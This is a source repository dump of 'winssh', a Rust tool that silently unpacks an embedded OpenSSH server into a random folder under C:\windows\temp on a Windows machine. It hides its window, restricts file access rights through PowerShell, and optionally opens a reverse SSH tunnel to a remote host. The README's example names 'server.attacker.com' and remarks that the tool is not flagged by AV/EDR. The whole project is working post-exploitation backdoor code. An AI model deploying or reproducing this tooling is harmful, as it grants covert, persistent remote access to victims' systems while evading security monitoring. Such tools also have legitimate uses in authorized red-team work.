├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── README.md ├── build.rs ├── files ├── sshd.exe └── sshd.pid └── src └── main.rs /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | /files/h* 3 | /files/a* 4 | /files/k* -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "atty" 7 | version = "0.2.14" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" 10 | dependencies = [ 11 | "hermit-abi", 12 | "libc", 13 | "winapi", 14 | ] 15 | 16 | [[package]] 17 | name = "autocfg" 18 | version = "1.1.0" 19 | source = "registry+https://github.com/rust-lang/crates.io-index" 20 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 21 | 22 | [[package]] 23 | name = "bitflags" 24 | version = "1.3.2" 25 | source = "registry+https://github.com/rust-lang/crates.io-index" 26 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 27 | 28 | [[package]] 29 | name = "block-buffer" 30 | version = "0.9.0" 31 | source = "registry+https://github.com/rust-lang/crates.io-index" 32 | checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" 33 | dependencies = [ 34 | "generic-array", 35 | ] 36 | 37 | [[package]] 38 | name = "cfg-if" 39 | version = "1.0.0" 40 | source = "registry+https://github.com/rust-lang/crates.io-index" 41 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 42 | 43 | [[package]] 44 | name = "clap" 45 | version = "3.1.0" 46 | source = "registry+https://github.com/rust-lang/crates.io-index" 47 | checksum = "e5f1fea81f183005ced9e59cdb01737ef2423956dac5a6d731b06b2ecfaa3467" 48 | dependencies = [ 49 | "atty", 50 | "bitflags", 51 | "clap_derive", 52 | "indexmap", 53 | "lazy_static", 54 | "os_str_bytes", 55 | "strsim", 56 | "termcolor", 57 | "textwrap", 58 | ] 59 | 60 | [[package]] 61 | name = "clap_derive" 62 | version = "3.1.0" 63 | source = "registry+https://github.com/rust-lang/crates.io-index" 64 | checksum = "5fd1122e63869df2cb309f449da1ad54a7c6dfeb7c7e6ccd8e0825d9eb93bb72" 65 | dependencies = [ 66 | "heck", 67 | "proc-macro-error", 68 | "proc-macro2", 69 | "quote", 70 | "syn", 71 | ] 72 | 73 | [[package]] 74 | name = "cpufeatures" 75 | version = "0.2.1" 76 | source = "registry+https://github.com/rust-lang/crates.io-index" 77 | checksum = "95059428f66df56b63431fdb4e1947ed2190586af5c5a8a8b71122bdf5a7f469" 78 | dependencies = [ 79 | "libc", 80 | ] 81 | 82 | [[package]] 83 | name = "digest" 84 | version = "0.9.0" 85 | source = "registry+https://github.com/rust-lang/crates.io-index" 86 | checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" 87 | dependencies = [ 88 | "generic-array", 89 | ] 90 | 91 | [[package]] 92 | name = "generic-array" 93 | version = "0.14.5" 94 | source = "registry+https://github.com/rust-lang/crates.io-index" 95 | checksum = "fd48d33ec7f05fbfa152300fdad764757cbded343c1aa1cff2fbaf4134851803" 96 | dependencies = [ 97 | "typenum", 98 | "version_check", 99 | ] 100 | 101 | [[package]] 102 | name = "getrandom" 103 | version = "0.2.4" 104 | source = "registry+https://github.com/rust-lang/crates.io-index" 105 | checksum = "418d37c8b1d42553c93648be529cb70f920d3baf8ef469b74b9638df426e0b4c" 106 | dependencies = [ 107 | "cfg-if", 108 | "libc", 109 | "wasi", 110 | ] 111 | 112 | [[package]] 113 | name = "hashbrown" 114 | version = "0.11.2" 115 | source = "registry+https://github.com/rust-lang/crates.io-index" 116 | checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" 117 | 118 | [[package]] 119 | name = "heck" 120 | version = "0.4.0" 121 | source = "registry+https://github.com/rust-lang/crates.io-index" 122 | checksum = "2540771e65fc8cb83cd6e8a237f70c319bd5c29f78ed1084ba5d50eeac86f7f9" 123 | 124 | [[package]] 125 | name = "hermit-abi" 126 | version = "0.1.19" 127 | source = "registry+https://github.com/rust-lang/crates.io-index" 128 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 129 | dependencies = [ 130 | "libc", 131 | ] 132 | 133 | [[package]] 134 | name = "indexmap" 135 | version = "1.8.0" 136 | source = "registry+https://github.com/rust-lang/crates.io-index" 137 | checksum = "282a6247722caba404c065016bbfa522806e51714c34f5dfc3e4a3a46fcb4223" 138 | dependencies = [ 139 | "autocfg", 140 | "hashbrown", 141 | ] 142 | 143 | [[package]] 144 | name = "lazy_static" 145 | version = "1.4.0" 146 | source = "registry+https://github.com/rust-lang/crates.io-index" 147 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 148 | 149 | [[package]] 150 | name = "libc" 151 | version = "0.2.118" 152 | source = "registry+https://github.com/rust-lang/crates.io-index" 153 | checksum = "06e509672465a0504304aa87f9f176f2b2b716ed8fb105ebe5c02dc6dce96a94" 154 | 155 | [[package]] 156 | name = "memchr" 157 | version = "2.4.1" 158 | source = "registry+https://github.com/rust-lang/crates.io-index" 159 | checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" 160 | 161 | [[package]] 162 | name = "opaque-debug" 163 | version = "0.3.0" 164 | source = "registry+https://github.com/rust-lang/crates.io-index" 165 | checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" 166 | 167 | [[package]] 168 | name = "os_str_bytes" 169 | version = "6.0.0" 170 | source = "registry+https://github.com/rust-lang/crates.io-index" 171 | checksum = "8e22443d1643a904602595ba1cd8f7d896afe56d26712531c5ff73a15b2fbf64" 172 | dependencies = [ 173 | "memchr", 174 | ] 175 | 176 | [[package]] 177 | name = "ppv-lite86" 178 | version = "0.2.16" 179 | source = "registry+https://github.com/rust-lang/crates.io-index" 180 | checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" 181 | 182 | [[package]] 183 | name = "proc-macro-error" 184 | version = "1.0.4" 185 | source = "registry+https://github.com/rust-lang/crates.io-index" 186 | checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" 187 | dependencies = [ 188 | "proc-macro-error-attr", 189 | "proc-macro2", 190 | "quote", 191 | "syn", 192 | "version_check", 193 | ] 194 | 195 | [[package]] 196 | name = "proc-macro-error-attr" 197 | version = "1.0.4" 198 | source = "registry+https://github.com/rust-lang/crates.io-index" 199 | checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" 200 | dependencies = [ 201 | "proc-macro2", 202 | "quote", 203 | "version_check", 204 | ] 205 | 206 | [[package]] 207 | name = "proc-macro2" 208 | version = "1.0.36" 209 | source = "registry+https://github.com/rust-lang/crates.io-index" 210 | checksum = "c7342d5883fbccae1cc37a2353b09c87c9b0f3afd73f5fb9bba687a1f733b029" 211 | dependencies = [ 212 | "unicode-xid", 213 | ] 214 | 215 | [[package]] 216 | name = "quote" 217 | version = "1.0.15" 218 | source = "registry+https://github.com/rust-lang/crates.io-index" 219 | checksum = "864d3e96a899863136fc6e99f3d7cae289dafe43bf2c5ac19b70df7210c0a145" 220 | dependencies = [ 221 | "proc-macro2", 222 | ] 223 | 224 | [[package]] 225 | name = "rand" 226 | version = "0.8.5" 227 | source = "registry+https://github.com/rust-lang/crates.io-index" 228 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" 229 | dependencies = [ 230 | "libc", 231 | "rand_chacha", 232 | "rand_core", 233 | ] 234 | 235 | [[package]] 236 | name = "rand_chacha" 237 | version = "0.3.1" 238 | source = "registry+https://github.com/rust-lang/crates.io-index" 239 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 240 | dependencies = [ 241 | "ppv-lite86", 242 | "rand_core", 243 | ] 244 | 245 | [[package]] 246 | name = "rand_core" 247 | version = "0.6.3" 248 | source = "registry+https://github.com/rust-lang/crates.io-index" 249 | checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7" 250 | dependencies = [ 251 | "getrandom", 252 | ] 253 | 254 | [[package]] 255 | name = "rust-embed" 256 | version = "6.3.0" 257 | source = "registry+https://github.com/rust-lang/crates.io-index" 258 | checksum = "d40377bff8cceee81e28ddb73ac97f5c2856ce5522f0b260b763f434cdfae602" 259 | dependencies = [ 260 | "rust-embed-impl", 261 | "rust-embed-utils", 262 | "walkdir", 263 | ] 264 | 265 | [[package]] 266 | name = "rust-embed-impl" 267 | version = "6.2.0" 268 | source = "registry+https://github.com/rust-lang/crates.io-index" 269 | checksum = "94e763e24ba2bf0c72bc6be883f967f794a019fafd1b86ba1daff9c91a7edd30" 270 | dependencies = [ 271 | "proc-macro2", 272 | "quote", 273 | "rust-embed-utils", 274 | "syn", 275 | "walkdir", 276 | ] 277 | 278 | [[package]] 279 | name = "rust-embed-utils" 280 | version = "7.1.0" 281 | source = "registry+https://github.com/rust-lang/crates.io-index" 282 | checksum = "ad22c7226e4829104deab21df575e995bfbc4adfad13a595e387477f238c1aec" 283 | dependencies = [ 284 | "sha2", 285 | "walkdir", 286 | ] 287 | 288 | [[package]] 289 | name = "same-file" 290 | version = "1.0.6" 291 | source = "registry+https://github.com/rust-lang/crates.io-index" 292 | checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" 293 | dependencies = [ 294 | "winapi-util", 295 | ] 296 | 297 | [[package]] 298 | name = "sha2" 299 | version = "0.9.9" 300 | source = "registry+https://github.com/rust-lang/crates.io-index" 301 | checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800" 302 | dependencies = [ 303 | "block-buffer", 304 | "cfg-if", 305 | "cpufeatures", 306 | "digest", 307 | "opaque-debug", 308 | ] 309 | 310 | [[package]] 311 | name = "strsim" 312 | version = "0.10.0" 313 | source = "registry+https://github.com/rust-lang/crates.io-index" 314 | checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" 315 | 316 | [[package]] 317 | name = "syn" 318 | version = "1.0.86" 319 | source = "registry+https://github.com/rust-lang/crates.io-index" 320 | checksum = "8a65b3f4ffa0092e9887669db0eae07941f023991ab58ea44da8fe8e2d511c6b" 321 | dependencies = [ 322 | "proc-macro2", 323 | "quote", 324 | "unicode-xid", 325 | ] 326 | 327 | [[package]] 328 | name = "termcolor" 329 | version = "1.1.2" 330 | source = "registry+https://github.com/rust-lang/crates.io-index" 331 | checksum = "2dfed899f0eb03f32ee8c6a0aabdb8a7949659e3466561fc0adf54e26d88c5f4" 332 | dependencies = [ 333 | "winapi-util", 334 | ] 335 | 336 | [[package]] 337 | name = "textwrap" 338 | version = "0.14.2" 339 | source = "registry+https://github.com/rust-lang/crates.io-index" 340 | checksum = "0066c8d12af8b5acd21e00547c3797fde4e8677254a7ee429176ccebbe93dd80" 341 | 342 | [[package]] 343 | name = "typenum" 344 | version = "1.15.0" 345 | source = "registry+https://github.com/rust-lang/crates.io-index" 346 | checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987" 347 | 348 | [[package]] 349 | name = "unicode-xid" 350 | version = "0.2.2" 351 | source = "registry+https://github.com/rust-lang/crates.io-index" 352 | checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" 353 | 354 | [[package]] 355 | name = "version_check" 356 | version = "0.9.4" 357 | source = "registry+https://github.com/rust-lang/crates.io-index" 358 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" 359 | 360 | [[package]] 361 | name = "walkdir" 362 | version = "2.3.2" 363 | source = "registry+https://github.com/rust-lang/crates.io-index" 364 | checksum = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56" 365 | dependencies = [ 366 | "same-file", 367 | "winapi", 368 | "winapi-util", 369 | ] 370 | 371 | [[package]] 372 | name = "wasi" 373 | version = "0.10.2+wasi-snapshot-preview1" 374 | source = "registry+https://github.com/rust-lang/crates.io-index" 375 | checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" 376 | 377 | [[package]] 378 | name = "winapi" 379 | version = "0.3.9" 380 | source = "registry+https://github.com/rust-lang/crates.io-index" 381 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 382 | dependencies = [ 383 | "winapi-i686-pc-windows-gnu", 384 | "winapi-x86_64-pc-windows-gnu", 385 | ] 386 | 387 | [[package]] 388 | name = "winapi-i686-pc-windows-gnu" 389 | version = "0.4.0" 390 | source = "registry+https://github.com/rust-lang/crates.io-index" 391 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 392 | 393 | [[package]] 394 | name = "winapi-util" 395 | version = "0.1.5" 396 | source = "registry+https://github.com/rust-lang/crates.io-index" 397 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 398 | dependencies = [ 399 | "winapi", 400 | ] 401 | 402 | [[package]] 403 | name = "winapi-x86_64-pc-windows-gnu" 404 | version = "0.4.0" 405 | source = "registry+https://github.com/rust-lang/crates.io-index" 406 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 407 | 408 | [[package]] 409 | name = "winssh" 410 | version = "0.1.0" 411 | dependencies = [ 412 | "clap", 413 | "rand", 414 | "rust-embed", 415 | ] 416 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "winssh" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [dependencies] 7 | clap = { version = "3.1.0", features = ["derive"] } 8 | rust-embed="6.3.0" 9 | rand = "*" 10 | 11 | [profile.release] 12 | opt-level = "s" 13 | lto = true 14 | codegen-units = 1 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Winssh 2 | 3 | Spawns a ssh server on windows. No installation required. Based on https://github.com/PowerShell/Win32-OpenSSH/. 4 | 5 | ## Usage 6 | 7 | When launched without arguments, `winssh.exe` default to start an OpenSSH server on port 127.0.0.1:8022. 8 | You can specify a port using: 9 | ``` 10 | winssh.exe --port 11 | ``` 12 | 13 | You can also specify a server and port to connect back to using: 14 | 15 | ``` 16 | winssh.exe --tunnel-server server.attacker.com --tunnel-port 2222 17 | ``` 18 | 19 | Then on your machine, you can just connect to the ssh port you forwarded: 20 | 21 | ``` 22 | ssh -i files/key dummy@localhost -p 8022 23 | WORK-JUNON\administrator 24 | 25 | ssh -i files/key 'WORK-JUNON\administrator'@localhost -p 8022 26 | work-junon\administrator@S021M015 C:\Users\administrator.WORK-JUNON> 27 | ``` 28 | Note that the server banner is the username we need to use to connect! 29 | 30 | On every build new keys will be generated. After starting the server you can use the "key" from the files directory. The key `key_reverse` from the files directory is used to connect back to the remote server (if specified) so you will need to add it to your authorized_keys file, e.g.: 31 | 32 | ``` 33 | cat files/reverse_key.pub >> /home/tunnel/.ssh/authorized_keys 34 | ``` 35 | 36 | ## Compile 37 | 38 | ``` 39 | rustup target add x86_64-pc-windows-gnu 40 | rustup toolchain install stable-x86_64-pc-windows-gnu 41 | ``` 42 | 43 | Windows: 44 | ``` 45 | cargo build --release --target x86_64-pc-windows-gnu 46 | ``` 47 | 48 | To reduce the filesize further, you can strip the binaries with `strip`. 49 | 50 | 51 | ## Other 52 | 53 | If you want to run without any arguments modify the source to hardcode the default values for tunnel-server and both ports. To clean up you want to delete the temp directory in `\windows\temp` (random name) that has the ssh files. 54 | 55 | This is not opsec safe - it runs various powershell commands and leaves files in \temp. However it's currently not being flagged by AV/EDR. If you need it opsec safe you'll have to make some modifications. -------------------------------------------------------------------------------- /build.rs: -------------------------------------------------------------------------------- 1 | use std::process::Command; 2 | use std::fs; 3 | 4 | fn main() { 5 | println!("cargo:rerun-if-changed=build.rs"); 6 | 7 | Command::new("sh").arg("-c") 8 | .arg("rm files/h* files/k*") 9 | .status() 10 | .unwrap(); 11 | Command::new("sh").arg("-c") 12 | .arg("yes 'y' 2>/dev/null | ssh-keygen -t ed25519 -f files/key -q -N \"\"") 13 | .status() 14 | .unwrap(); 15 | Command::new("sh").arg("-c") 16 | .arg("yes 'y' 2>/dev/null | ssh-keygen -t ed25519 -f files/key_reverse -q -N \"\"") 17 | .status() 18 | .unwrap(); 19 | Command::new("sh").arg("-c") 20 | .arg("cp files/key.pub files/authorized_keys") 21 | .status() 22 | .unwrap(); 23 | Command::new("sh").arg("-c") 24 | .arg("yes 'y' 2>/dev/null | ssh-keygen -f host_dsa -N '' -t dsa -f files/host_dsa -q -N \"\"") 25 | .status() 26 | .unwrap(); 27 | Command::new("sh").arg("-c") 28 | .arg("yes 'y' 2>/dev/null | ssh-keygen -f host_rsa -N '' -t rsa -f files/host_rsa -q -N \"\"") 29 | .status() 30 | .unwrap(); 31 | } 32 | -------------------------------------------------------------------------------- /files/sshd.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xct/winssh/2f8ace6647e1907a65b3ea92802c94aa1c8fe901/files/sshd.exe -------------------------------------------------------------------------------- /files/sshd.pid: -------------------------------------------------------------------------------- 1 | 0 -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | #![windows_subsystem = "windows"] // hides window 2 | use std::fs; 3 | use clap::{Parser}; 4 | use rand::{distributions::Alphanumeric, Rng}; 5 | use rust_embed::RustEmbed; 6 | use std::path::{Path}; 7 | use std::process::{Command,Stdio}; 8 | use std::os::windows::process::CommandExt; 9 | use std::{thread, time::Duration}; 10 | 11 | const CREATE_NO_WINDOW: u32 = 0x08000000; 12 | const DETACHED_PROCESS: u32 = 0x00000008; 13 | 14 | #[derive(RustEmbed)] 15 | #[folder = "files/"] 16 | struct Asset; 17 | 18 | #[derive(Parser)] 19 | #[clap(name="winssh.exe", author="xct (@xct_de)", version="1.0", about="simple ssh server on windows", long_about = None)] 20 | #[clap(propagate_version = true)] 21 | struct Cli { 22 | #[clap(short, long, default_value_t = 8022)] 23 | port: u16, 24 | #[clap(short, long, default_value = "tunnel_default")] 25 | tunnel_server: String, 26 | #[clap(short, long, default_value_t = 22 )] 27 | tunnel_port: u16, 28 | #[clap(short, long, default_value = "tunnel")] 29 | tunnel_user: String 30 | } 31 | 32 | fn main() { 33 | let cli = Cli::parse(); 34 | let port = cli.port; 35 | let tunnel_server = cli.tunnel_server; 36 | let tunnel_port =cli.tunnel_port; 37 | let tunnel_user = cli.tunnel_user; 38 | 39 | 40 | let rs: String = rand::thread_rng() 41 | .sample_iter(&Alphanumeric) 42 | .take(6) 43 | .map(char::from) 44 | .collect(); 45 | 46 | let tmp = format!("C:\\windows\\temp\\{}", rs); 47 | fs::create_dir(&tmp).unwrap(); 48 | 49 | let username_cmd_output = Command::new("powershell") 50 | .arg("-c") 51 | .arg(" 52 | Write-Host $env:USERDOMAIN\\$env:USERNAME;") 53 | .creation_flags(CREATE_NO_WINDOW) 54 | .output() 55 | .unwrap(); 56 | let username = String::from_utf8(username_cmd_output.stdout).unwrap(); 57 | 58 | let files = ["host_rsa.pub", "host_dsa.pub", "host_rsa", "host_dsa","authorized_keys","sshd.exe","sshd.pid","key_reverse"]; 59 | for i in 0..files.len() { 60 | let f = Asset::get(files[i]).unwrap(); 61 | let path = Path::new(&tmp).join(files[i]); 62 | fs::write(&path, f.data.as_ref()).unwrap(); 63 | 64 | let pathstr = path.display(); 65 | let cmd = format!("$FilePath = \"{}\"; 66 | $acl = Get-Acl $FilePath; 67 | $acl.SetAccessRuleProtection($true, $false); 68 | $identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() 69 | $username = $identity.Name 70 | $sid = $identity.User.Value; 71 | $acl.Access | Where-Object {{ $_.IdentityReference -ne $username }} | ForEach-Object {{ $acl.RemoveAccessRule($_) }}; 72 | $accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule($username, \"FullControl\", \"Allow\"); 73 | $acl.AddAccessRule($accessRule); 74 | Set-Acl $FilePath $acl;", pathstr); 75 | Command::new("powershell").arg("-c") 76 | .arg(cmd) 77 | .creation_flags(CREATE_NO_WINDOW) 78 | .spawn() 79 | .unwrap(); 80 | } 81 | 82 | 83 | 84 | let tmp_abs = Path::new(&tmp).canonicalize().unwrap().display().to_string(); 85 | let tmp_as = &tmp_abs[4..tmp_abs.len()]; // remove \\?\ 86 | let config = format!("Port {}\n\ 87 | Banner banner.txt\n\ 88 | ListenAddress 127.0.0.1\n\ 89 | HostKey \"{}\\host_rsa\"\n\ 90 | HostKey \"{}\\host_dsa\"\n\ 91 | PubkeyAuthentication yes\n\ 92 | AuthorizedKeysFile \"{}\\authorized_keys\"\n\ 93 | GatewayPorts yes\n\ 94 | PidFile \"{}\\sshd.pid\"\n\ 95 | ",port,tmp_as,tmp_as,tmp_as,tmp_as); 96 | 97 | let path_sshd_config = Path::new(&tmp).join("sshd_config"); 98 | fs::write(&path_sshd_config, config).unwrap(); 99 | 100 | let banner = format!("{}\n",username); 101 | let path_banner = Path::new(&tmp).join("banner.txt"); 102 | fs::write(&path_banner, banner).unwrap(); 103 | 104 | thread::sleep(Duration::from_millis(2000)); 105 | 106 | if tunnel_server.ne("tunnel_default") { 107 | // create the tunnel and remote port forward 108 | println!("Creating reverse port forward for port {} on server {} as user {}\n",port,tunnel_server,tunnel_user); 109 | let rev = format!("Push-Location \"{}\"; ssh -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL -i \"{}\\key_reverse\" -R {}:127.0.0.1:{} -p {} {}@{} ;",tmp_as, tmp_as, port,port,tunnel_port,tunnel_user, tunnel_server ); 110 | Command::new("powershell").stdout(Stdio::null()).arg("-c").arg(&rev).creation_flags(CREATE_NO_WINDOW).spawn(); 111 | } 112 | // start server 113 | let cmd = format!("Push-Location \"{}\"; .\\sshd.exe -f \"{}\\sshd_config\" -E \"{}\\log.txt\" -d; Pop-Location", tmp_as, tmp_as, tmp_as ); 114 | println!("Running SSH-Server on port {}\n", port); 115 | // every ssh connect would close the server, hence the loop 116 | loop { 117 | Command::new("powershell").arg("-c") 118 | .arg(&cmd) 119 | .creation_flags(CREATE_NO_WINDOW) 120 | .status() 121 | .unwrap(); 122 | } 123 | } 124 | --------------------------------------------------------------------------------